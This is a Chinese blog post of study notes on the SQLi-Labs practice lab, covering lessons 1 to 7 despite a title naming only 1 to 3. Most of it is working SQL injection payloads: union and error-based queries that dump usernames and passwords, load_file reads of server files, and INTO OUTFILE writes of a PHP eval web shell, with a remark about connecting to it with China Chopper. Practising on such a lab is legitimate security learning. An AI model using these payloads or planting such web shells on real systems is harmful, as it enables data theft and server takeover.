美文网首页
SQLi-Labs 学习体会(Less 1-3)

SQLi-Labs 学习体会(Less 1-3)

作者: ahhndk | 来源:发表于2019-11-16 22:56 被阅读0次

    ess-1 get 字符型

    虽然网上有无数的操作教程帖,但是跟着操作完仍然云里雾里,决心要沉淀一遍,弄清原理。

    整个过程我概括为:1、判断是否存在注入。2.如果存在,判断user列表列数。3、爆破数据库名。4、爆破数据表名。5. 爆破数据表字段。

    这其中有一些数据库的基础知识需要掌握,文中回补充说明。

    我们回到页面,页面显示:Please input the ID as parameter with numeric value  (其实是字符型)

    输入http://127.0.0.1/sqli-labs/Less-1/?id=1,成功显示用户名和密码。

    1. 判断是否存在注入:

    白盒方法:查看index.php文件代码

    黑盒方法:URL后添加?id=1' ,返回:

    URL后添加?id=1' or'1'='1  ,正常返回用户名和密码;

    URL后添加?id=1' or 1=1 --# ,正常返回用户名和密码。 

    说明存在注入。

    2. 判断users表中的列数:利用 order by 来判断。%23 是指 # 的编码

    ?id=1' order by 5%23  或者id=1' order by 5 -- #,

    取半值,输入?id=1' order by 3%23  或者id=1' order by 3 -- #,

    取中间的4,输入?id=1' order by 4%23  或者id=1' order by 4 -- #

    可以知道列数为3.

    使用联合语句 union 来查询,输入?id=-1' union select 1,2,3 %23

    网上大佬 讲解:这里把1改成-1,原因是当用id=1的时候执行的结果只有一条记录,这是因为在 index.php 中并没有循环取出数据。(还是得结合代码呀)

    解决方法是:让第一行查询的结果是空集(即union左边的select子句查询结果为空),那么我们union右边的查询结果自然就成为了第一行,就打印在网页上了,这个id他一般传的是数字,而且一般都是从1开始自增的,我们可以把id值设为非正数(负数或0),浮点数,字符型或字符串都行

    可以看到只有第2列和第3列的结果显示在页面上,我们只有 2,3可以用,接下来我们就利用 2,3来查询数据库的信息,需要用到的函数有:

    concat_ws():从数据库里取N个字段,然后组合到一起用符号分割显示,第一个参数剩余参数间的分隔符

    char():将十进制ASCII码转化成字符

    user():返回当前数据库连接使用的用户

    database():返回当前数据库连接使用的数据库

    version():返回当前数据库的版本

    3. 获取数据库名。使用的payload为:?id=123' union select 1,group_concat(schema_name),3 from information_schema.schemata -- #

    4. 获取数据表名。使用的payload为:?id=123' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() -- #

    5. 获取表内字段。使用的payload为:?id=123' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' -- #

    方法二:

    1. 获取用户、数据库名、版本号,使用的payload为:

    ?id=-1' union select 1,2,(concat_ws(char(32,58,32),user(),database(),version())) %23

    这里的32表示 [空格](试验了可以换成其他的数字,没看出来体现在哪),58表示 [:],应该是表示使用:连接。

    (摘自网友)information_schema为mysql的数据库的默认数据库。记录是当前数据库的数据库,表,列,用户权限等信息。

    SCHEMATA表:储存mysql所有数据库的基本信息,包括数据库名,编码类型路径等,show databases的结果取之此表。

    TABLES表:储存mysql中的表信息,(当然也有数据库名这一列,这样才能找到哪个数据库有哪些表嘛)包括这个表是基本表还是系统表,数据库的引擎是什么,表有多少行,创建时间,最后更新时间等。show tables from schemaname的结果取之此表

    COLUMNS表:提供了表中的列信息,(当然也有数据库名和表名称这两列)详细表述了某张表的所有列以及每个列的信息,包括该列是那个表中的第几列,列的数据类型,列的编码类型,列的权限,猎德注释等。是show columns from schemaname.tablename的结果取之此表。

    注意,查询information_schema中的信息时,使用where语句,那个值不能直接用英文,要用单引号包裹着,当然用其十六进制表示也可以,数值类型的就不用单引号了,这对过滤单引号应该有指导意义。

    security的十六进制转换是:0x7365637572697479

    16进制转换地址:http://www.bejson.com/convert/ox2str/

    2. 获取表名

    方法一:?id=-1' union select 1,2,table_name from information_schema.tables where table_schema=0x7365637572697479 %23  

    方法二:只返回一个table,原因很简单,还是循环问题。那么我们可以使用limit来依次列举。通过不断的改变,limit的第一个参数,就可以一次列举出来。

    使用的payload为:

    ?id=-1' union select 1,2,table_name from information_schema.tables where table_schema=0x7365637572697479 limit 1,1 %23  

    方法三:更方便的方法是,直接使用 group_concat函数,该函数返回一个字符串结果,该结果由分组中的值连接组合而成,使用的payload为:

    ?id=-1' union select 1,group_concat(char(32),username,char(32)),group_concat(char(32),password,char(32)) from users--+

    或者?id=-1%27%20union%20select%201,group_concat(char(32),username,char(32)),group_concat(char(32),password,char(32))%20from%20users--%20#

    Less-2  get - 数字型

    1、判断是否存在注入。2.如果存在,判断user列表列数。3、爆破数据库名。4、爆破数据表名。5. 爆破数据表字段。

    我们回到页面,页面显示:Please input the ID as parameter with numeric value  

    输入http://127.0.0.1/sqli-labs/Less-2/?id=3,成功显示用户名和密码。

    1. 判断是否存在注入:

    白盒方法:查看index.php文件代码

    与less1的区别在于id上没有单引号了

    黑盒方法:sql对于数字型的数据可以不加单引号。因此注入也更加容易。

    1. 判断是否存在注入

    ?id=1 and 1=1 ;?id=1 and 1=2

    2. 判断users表中的列数:利用 order by 来判断。%23 是指 # 的编码

    ?id=1' order by 5%23  或者id=1' order by 5 -- #

    3. 获取数据库名。使用的payload为:?id=-1 union select 1,group_concat(schema_name),3 from information_schema.schemata -- #

    4. 获取数据表名。使用的payload为:?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() -- #

    5. 获取表内字段。使用的payload为:?id=-1  union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' -- # (显示不全)

    或者直接:?id=-1 union select 1,group_concat(char(32),username,char(32),group_concat(char(32),password,char(32))  from users--+

    浏览器编码后为: ?id=-1%20union%20select%201,group_concat(char(32),username,char(32)),group_concat(char(32),password,char(32))%20from%20users--+

    或者

    ?id=-1 union select 1,group_concat(char(32),username,char(32)),group_concat(char(32),password,char(32))  from users-- #

    ?id=-1%20union%20select%201,group_concat(char(32),username,char(32)),group_concat(char(32),password,char(32))%20from%20users--%20#

    Less 3 GET单引号变形字符型注入

    最终payload为:?id=-1') union select 1,group_concat(char(32),username,char(32)),group_concat(char(32),password,char(32)) from users--+

    ') 是因为需要提前把id的值闭合,并union上后面的语句,--+把最后面的')注释了。

    Less 4 get 双引号注入

    最终payload为:?id=-1") union select 1,group_concat(char(32),username,char(32)),group_concat(char(32),password,char(32)) from users--+

    ') 是因为需要提前把id的值闭合,并union上后面的语句,--+把最后面的')注释了。

    payload为?id=1' 的时候,能正常显示。 因为php中的双引号可以包含单引号 (" $id' ")

    Less-5双注入GET单引号字符型注入

    可以看到,显示的内容改变了,为you are in ...,并未显示用户信息。

    双注入详解见 https://blog.csdn.net/lixiangminghate/article/details/80466257

    或者https://mochazz.github.io/2017/09/23/Double_%20SQL_Injection/

    总结一下,双查询注入其实就是两个嵌套的查询,即select ...(select ...),先执行里面的子select查询,然后再执行外面的select,双注入主要涉及到了几个sql函数:

    rand()随机函数,返回0~1之间的某个值

    floor(a)取整函数,返回小于等于a,且值最接近a的一个整数

    count()聚合函数也称作计数函数,返回查询对象的总数

    group by cluase分组语句,按照cluase对查询结果分组

    concat() 表示任意字符串的连接,未来更好的显示。

    我们要的是报错信息中所附带的我们需要的信息,而不是正常查询的结果,因为正常查询,网页只会给我们返回”You are in”。

    ?id=-1' union select 1,count(*),concat(0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand()*2))a from information_schema.columns group by a--+

    0x3a表示ASCII码中的冒号,可以换成任意符号。我们把concat((select database()), floor(rand()*2)) 这个结果取了一个别名 a ,然后使用他进行分组。这样相同的security0分到一组,security1分到一组。就剩下两个结果了。

    可以把database()换成任意函数,如version(), user()等。

    更换database函数,查看表名:

    ?id=-1' union select count(*),2,concat('*',(select group_concat(table_name) from information_schema.tables where table_schema='security'),'*',floor(rand()*2))as a from information_schema.tables group by a--+

    查询用户信息:

    ?id=-1' union select count(*),2,concat('*',(select concat_ws(char(32,44,32),id,username,password) from users limit 1,1),'*',floor(rand()*2))as a from information_schema.tables group by a--+

    通过改变 limit 的值就可以遍历用户信息了。

    Less-6双注入GET双引号字符型注入

    ?id=4" and 1=1--+ 正常显示。

    查看数据库名 ?id=-4" union select 1,count(*),concat(0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand()*2))a from information_schema.columns group by a--+

    遍历查看用户信息 

    ?id=-1" union select count(*),2,concat('*',(select concat_ws(char(32,44,32),id,username,password) from users limit 1,1),'*',floor(rand()*2))as a from information_schema.tables group by a--+

    ?id=-1" union select count(*),2,concat('*',(select group_concat(table_name) from information_schema.tables where table_schema=database() limit 0,1),'*',floor(rand()*2))as a from information_schema.tables group by a--+

    居然显示you are in。。。why

    Less-7导出文件GET字符型注

    正常输入id,显示弹出 Use outfile,尝试之前的方法行不通了,他把报错做了处理统一返回“You have an error in your SQL syntax”,明显的,他也给出了提示use outfile,outfile的固定结构是:select A into outfile B,这里的B通常是一个文件路径,A可以是文本内容(小马),也可以是数据库信息,于是这里就有三种思路:

    第一种,构造select * from users into outfile "数据库导入导出数据的目录",先来判断一下我们是否是最高权限

    ?id=4")) and (select count(*) from mysql.user)>0 正常显示,说明拥有最高权限。why?

    Load_file(file_name)函数读取文件并返回该文件的内容作为一个字符串

    使用条件:

    必须要权限读取且文件必须完全可读

    and (select count(*) from mysql.user)>0

    如果返回正常,说明有读写权限。

    欲读取文件必须位于服务器上

    必须指定文件完整路径      //可以想办法提交错误的Query让程序报错获得路径

    欲读取文件必须小于 max_allowed_packet

    用法:

    union select 1,1,1,load_file(char(99,58,47,98,111,111,116,46,105,110,105))

    “char(99,58,47,98,111,111,116,46,105,110,105)”就是“c:/boot.ini”的ASCII代码

    union select 1,1,1,load_file(0x633a2f626f6f742e696e69)

    “c:/boot.ini”的16进制是“0x633a2f626f6f742e696e69”

    union select 1,1,1,load_file(c:\\boot.ini)

    注意:路径里的/用 \\代替

    导入到文件

    SELECT.....INTO OUTFILE 'file_name'

    可以把被选择的行写入一个文件中。该文件被创建到服务器主机上,因此您必须拥有FILE权限,才能使用此语法。file_name不能是一个已经存在的文件。

    有两种利用方式:

    Select '<?php @eval($_post[“mima”])?>' into outfile “c:\\phpnow\\htdocs\\test.php”//即直接将select内容导入文件中,但这里需要注意特殊符号被转义

    Select version() Into outfile “c:\\phpnow\\htdocs\\test.php” LINES TERMINATED BY 0x16进制文件//本意是行结尾时要使用Lines terminated by 后面的内容,通常为'/r/n',我们在BY后面添加自己的16进制文件

    可以是一句话或其他任何代码。

    Tips

    文件路径注意转义

    如果当前页面无法导出文件,可写入到新文件中读取:

    select load_file(‘c:\\wamp\\bin\\mysql\\mysql5.6.17\\my.ini’)into outfile ‘c:\\wamp\\www\\test.php’

    即将my.ini导出到test.php,我们访问test.php可看到文件内容

    从源代码中可以看到Query为

    $sql="SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1";

    此处依旧可以使用报错注入,但这里我们练习文件导入注入

    ?id=1')) union select 1,group_concat(username),group_concat(password) from users into outfile 'c:\\xampp\\htdocs\\2.php' --+

    导出用户名及密码,需知道当前查询表名

    有几个需要注意的点,这里联合查询的条件是前面的语句为真,即id=1返回正常,还有就是windows中的'/'换成'\'

    ?id=1')) union select 1,'<?php @eval($_POST["syc"])?>',3 into outfile 'c:\\xampp\\htdocs\\new.php' --+

    ?id=1')) union select 1,version(),3 into outfile 'c:\\xampp\\htdocs\\new.php' LINES TERMINATED BY 0x3c3f70687020406576616c28245f504f53545b22737963225d293f3e --+

    两种语句均是同样的效果,写入一句话成功后直接用菜刀连接即可

    相关文章

      网友评论

          本文标题:SQLi-Labs 学习体会(Less 1-3)

          本文链接:https://www.haomeiwen.com/subject/zdeyictx.html